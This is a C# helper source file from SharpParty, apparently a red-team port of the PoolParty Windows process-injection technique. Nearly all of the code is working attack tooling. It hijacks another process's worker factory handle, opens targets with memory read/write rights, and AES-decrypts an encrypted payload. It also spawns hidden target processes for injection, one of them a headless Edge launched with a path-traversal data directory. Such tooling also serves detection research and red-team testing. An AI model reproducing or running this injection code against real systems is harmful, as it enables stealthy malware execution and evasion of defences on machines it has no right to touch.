mirror of
https://github.com/strozfriedberg/SharpParty
synced 2026-06-06 16:44:35 +00:00
263 lines
12 KiB
C#
263 lines
12 KiB
C#
/**
|
|
* BSD 3-Clause License
|
|
|
|
* Copyright (c) 2023-2024, SafeBreach Labs
|
|
* Copyright (c) 2025, Stroz Friedberg
|
|
* All rights reserved.
|
|
|
|
* Redistribution and use in source and binary forms, with or without
|
|
* modification, are permitted provided that the following conditions are met:
|
|
* 1. Redistributions of source code must retain the above copyright notice, this
|
|
* list of conditions and the following disclaimer.
|
|
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
|
* this list of conditions and the following disclaimer in the documentation
|
|
* and/or other materials provided with the distribution.
|
|
* 3. Neither the name of the copyright holder nor the names of its
|
|
* contributors may be used to endorse or promote products derived from
|
|
* this software without specific prior written permission.
|
|
|
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
|
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
|
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
|
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
|
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
*/
|
|
using System;
|
|
using System.Collections;
|
|
using System.IO;
|
|
using System.Runtime.ExceptionServices;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using static SharpParty.Enums;
|
|
using static SharpParty.Structs;
|
|
using static SharpParty.Win32;
|
|
using static SharpParty.Constants;
|
|
using System.Text;
|
|
|
|
namespace SharpParty
|
|
{
|
|
internal static class HelperFuncs
|
|
{
|
|
public static unsafe IntPtr NtQueryObjectImpl(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass)
|
|
{
|
|
IntPtr info = IntPtr.Zero;
|
|
ulong infoLen = 0;
|
|
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
|
|
uint ctr = 0;
|
|
|
|
do
|
|
{
|
|
info = realloc(info, infoLen);
|
|
ntStatus = NtQueryObject(handle, objInfoClass, info, infoLen, ref infoLen);
|
|
ctr++;
|
|
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50);
|
|
return info;
|
|
}
|
|
|
|
public static unsafe _WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryInfo(IntPtr handle, _QUERY_WORKERFACTORYINFOCLASS workerFactoryInfoClass)
|
|
{
|
|
IntPtr info = IntPtr.Zero;
|
|
ulong infoLen = 0;
|
|
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
|
|
uint ctr = 0;
|
|
|
|
do
|
|
{
|
|
info = realloc(info, infoLen);
|
|
ntStatus = NtQueryInformationWorkerFactory(handle, workerFactoryInfoClass, info, infoLen, ref infoLen);
|
|
ctr++;
|
|
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50);
|
|
return *(_WORKER_FACTORY_BASIC_INFORMATION*)info;
|
|
}
|
|
|
|
[HandleProcessCorruptedStateExceptions]
|
|
public static unsafe PROCESS_HANDLE_SNAPSHOT_INFORMATION GetProcessHandleSnapshotInformation(IntPtr info)
|
|
{
|
|
_PROCESS_HANDLE_SNAPSHOT_INFORMATION* snapshotInfoPtr = (_PROCESS_HANDLE_SNAPSHOT_INFORMATION*)info;
|
|
int handlesSize = (int)snapshotInfoPtr->NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO);
|
|
if (handlesSize >= Int32.MaxValue | handlesSize <= 0)
|
|
{
|
|
Console.WriteLine("[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking..");
|
|
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION();
|
|
}
|
|
PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize];
|
|
for (int i = 0; i < handlesSize; i++)
|
|
{
|
|
IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]);
|
|
try
|
|
{
|
|
handles[i] = Marshal.PtrToStructure<PROCESS_HANDLE_TABLE_ENTRY_INFO>(handlePtr);
|
|
}
|
|
catch (Exception)
|
|
{
|
|
handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO();
|
|
}
|
|
}
|
|
|
|
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION
|
|
{
|
|
NumberOfHandles = snapshotInfoPtr->NumberOfHandles,
|
|
Reserved = snapshotInfoPtr->Reserved,
|
|
Handles = handles
|
|
};
|
|
}
|
|
|
|
// Based on: https://github.com/0xEr3bus/PoolPartyBof/blob/a6443ad782f7241a094e9751e0a77e24677e12b3/src/PoolPartyBof.h#L799
|
|
public static unsafe IntPtr HijackTargetHandle(IntPtr tProcHandle, string targetType)
|
|
{
|
|
Console.WriteLine("[*] Starting hijack of target processes' worker factory handle.");
|
|
IntPtr info = IntPtr.Zero;
|
|
ulong infoLen = 0;
|
|
uint ntStatus = STATUS_INFO_LENGTH_MISMATCH;
|
|
|
|
do
|
|
{
|
|
info = realloc(info, infoLen);
|
|
ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen);
|
|
} while (STATUS_INFO_LENGTH_MISMATCH == ntStatus);
|
|
|
|
PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info);
|
|
|
|
for (int i = 0; i < procHandleInfo.Handles.Length; i++)
|
|
{
|
|
IntPtr duplicatedObject = IntPtr.Zero;
|
|
PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i];
|
|
IntPtr procHandleValue = procHandleTable.HandleValue;
|
|
bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero);
|
|
if (!duped)
|
|
{
|
|
continue; // Go to next iteration to prevent access violation of accessing a handle that wasn't properly duped
|
|
}
|
|
IntPtr pObjectInfo = IntPtr.Zero;
|
|
pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation);
|
|
_PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo;
|
|
if (!targetType.Equals(pObjTypeInfo->TypeName.ToString()))
|
|
{
|
|
continue; // Go to next iteration if we don't see the target type
|
|
}
|
|
|
|
return duplicatedObject;
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
|
|
public static T[] SubArray<T>(this T[] data, int index, int length)
|
|
{
|
|
T[] result = new T[length];
|
|
Array.Copy(data, index, result, 0, length);
|
|
return result;
|
|
}
|
|
|
|
public static byte[] aesDecrypt(byte[] cipher, byte[] key)
|
|
{
|
|
var IV = SubArray(cipher, 0, 16);
|
|
var encMsg = SubArray(cipher, 16, cipher.Length - 16);
|
|
|
|
using (Aes aes = Aes.Create())
|
|
{
|
|
aes.Padding = PaddingMode.PKCS7;
|
|
aes.KeySize = 128;
|
|
aes.Key = key;
|
|
aes.IV = IV;
|
|
|
|
using (MemoryStream ms = new MemoryStream())
|
|
{
|
|
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
|
|
{
|
|
cs.Write(encMsg, 0, encMsg.Length);
|
|
}
|
|
return ms.ToArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
public static int CreateTargetProcess(string name)
|
|
{
|
|
Console.WriteLine("[*] Creating target process (" + name + ") for injection.");
|
|
STARTUPINFO si = new STARTUPINFO();
|
|
si.wShowWindow = SW_HIDE;
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
|
string cmd = "";
|
|
if (name.EndsWith("msedge.exe"))
|
|
{
|
|
cmd = "\"" + name + "\" --user-data-dir=..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp\\edge_data --headless=new https://exploit-db.com";
|
|
} else
|
|
{
|
|
cmd = "\"" + name + "\"";
|
|
}
|
|
bool res = CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi);
|
|
if (res)
|
|
{
|
|
Console.WriteLine("[+] Target process created with PID = {0:d}", pi.dwProcessId);
|
|
return pi.dwProcessId;
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("[*] DEBUG - Failed to create process with error code 0x{0:X16}", Marshal.GetLastWin32Error());
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
public static string[] ValidateCandidates()
|
|
{
|
|
ArrayList candidates = new ArrayList();
|
|
foreach (string candidate in CreateCandidatesToCheck)
|
|
{
|
|
if (File.Exists(candidate))
|
|
{
|
|
candidates.Add(candidate);
|
|
}
|
|
}
|
|
return (string[])candidates.ToArray(typeof(string));
|
|
}
|
|
|
|
public static string PickCandidate(string[] candidates)
|
|
{
|
|
Random rnd = new Random();
|
|
int rndIdx = rnd.Next(0, candidates.Length);
|
|
return candidates[rndIdx];
|
|
}
|
|
|
|
public static IntPtr GetHandleForProc(int pid)
|
|
{
|
|
uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION);
|
|
IntPtr tProcHandle = OpenProcess(targetAccess, false, pid);
|
|
if (tProcHandle == IntPtr.Zero)
|
|
{
|
|
int err = Marshal.GetLastWin32Error();
|
|
switch (err)
|
|
{
|
|
case 5:
|
|
Console.WriteLine("[-] ERROR: Access denied for target process. PoolParty failed.");
|
|
break;
|
|
default:
|
|
Console.WriteLine("[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", err);
|
|
break;
|
|
}
|
|
return IntPtr.Zero;
|
|
}
|
|
Console.WriteLine("[+] Got handle to target process - (0x{0:X16})", tProcHandle.ToInt64());
|
|
return tProcHandle;
|
|
}
|
|
|
|
public static string genRandomName(int len)
|
|
{
|
|
Random rnd = new Random();
|
|
string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
StringBuilder s = new StringBuilder(len);
|
|
for (int i = 0; i < len; i++)
|
|
{
|
|
s.Append(alpha[rnd.Next(alpha.Length)]);
|
|
}
|
|
return s.ToString();
|
|
}
|
|
}
|
|
}
|